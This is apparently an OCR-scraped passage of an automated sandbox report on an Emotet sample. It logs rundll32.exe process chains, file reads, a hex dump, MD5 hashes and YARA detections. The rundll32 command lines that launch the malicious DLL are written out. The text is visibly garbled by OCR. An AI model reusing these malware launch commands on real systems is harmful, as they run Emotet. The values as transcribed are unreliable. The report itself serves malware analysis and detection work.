C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml
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Value

10 50 ff 15 c4 61 00
10 8b 0d 30 60 00 10
51 ff 15 ¢4 61 00 10
e9 6b fe ff ff e8 11 fd
ff ff c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00 c7 45 f8 2a 16 00
00

Ascii
P.a..0.0Q.a.k....
LEXLLEXLLEXLEX..
E*..E*..E*..E*. E.
*LEXLEX..E*..E*
LEXLEXLLEXLLEXL
E*. . E*. .E*.E*.E
XL EX L E*X.E*. E*
WEXLLEXLEXLEXL
LEXLLEXL

Offset Length
unknown 4095
unknown 6304
unknown 4095
unknown 4096
unknown 781
unknown 4096
unknown 4096
unknown 4096
unknown 4096
unknown 542
unknown 4096
unknown 4096
unknown 78
unknown 4096
unknown 4096
unknown 310
unknown 4096
unknown 4096
unknown 50
unknown 4096
unknown 4096
unknown 4096
unknown 4096
unknown 201
unknown 4096
unknown 4096
unknown 409
unknown 4096
unknown 4096
unknown 844
unknown 4096
unknown 4096

Completion

success or wait

Completion
success or wait
success or wait
success or wait
success or wait
end of file

end of file
success or wait
end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file

end of file

success or wait

Source

Count Address

39

Count
1
3
1
3
1
1

42

P PN R R O R R N R

e
©

Symbol

7FEE876BEC7 WriteFile

Source
Address

7FEE85D5208
7FEE85D5208
7FEE86FA287
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7
7FEE876BEC7

Symbol

unknown
unknown
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEE876BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEE876BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEE86C69DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEE86C69DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEE876BEC7 ReadFile
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEE876BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 4096 success or wait 1 7FEE86C69DF unknown
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 512 success or wait 1 7FEE86C69DF unknown
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2416 Parent PID: 1320
General
Start time: 22:56:45
Start date: 17/02/2021
Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Nk2duhb\GxIh9ia\E6_R.dIl AnyString

0xff830000

45568 bytes
DD81D91FF3B0763C392422865C9AC12E
true

true

C, C++ or other language

Reputation: high
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\Nk2duhb\GxIh9ia\E6_R.dll unknown 64 success or wait 1 FF8327D0 ReadFile
C:\Users\user\Nk2duhb\GxIh9ia\E6_R.dll unknown 264 success or wait 1 FF83281C ReadFile
Analysis Process: rundll32.exe PID: 2296 Parent PID: 2416
General
Start time: 22:56:45
Start date: 17/02/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Nk2duhb\GxIh9ia\E6_R.dIl AnyString

0xa10000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2110577655.0000000000230000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2110590102.0000000000250000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2111395088.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 2700 Parent PID: 2296
General
Start time: 22:56:51
Start date: 17/02/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Nk2duhb\GxIh9ia\E6_R.dlII'#1
0xal0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2121216068.0000000000290000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2121359913.0000000000700000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2122851678.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2824 Parent PID: 2700
General
Start time: 22:56:56
Start date: 17/02/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dgmir\ngcj.eda’,hyhQYxhuLC
MLb

0xa10000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2131220245.0000000000150000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2131240758.0000000000170000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2133987769.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 2844 Parent PID: 2824
General
Start time: 22:57:01
Start date: 17/02/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dgmir\ngcj.eda’,#1
0xa10000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2145222435.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2145232978.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2149683472.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2460 Parent PID: 2844
General
Start time: 22:57:07
Start date: 17/02/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zfrhfthwazxcccc\whpjzcooch
dvfd.agu’,nCbhdzah

0xa10000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2155705121.00000000001D0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2155718494.0000000000200000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2156224518.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 2448 Parent PID: 2460

General

Start time: 22:57:12

Start date: 17/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zfrhfthwazxcccc\whpjzcooch

dvfd.agu',#1

Imagebase: 0xa10000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2334223344.0000000000160000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2335867328.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000C.00000002.2334238430.0000000000180000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

Disassembly

Code Analysis
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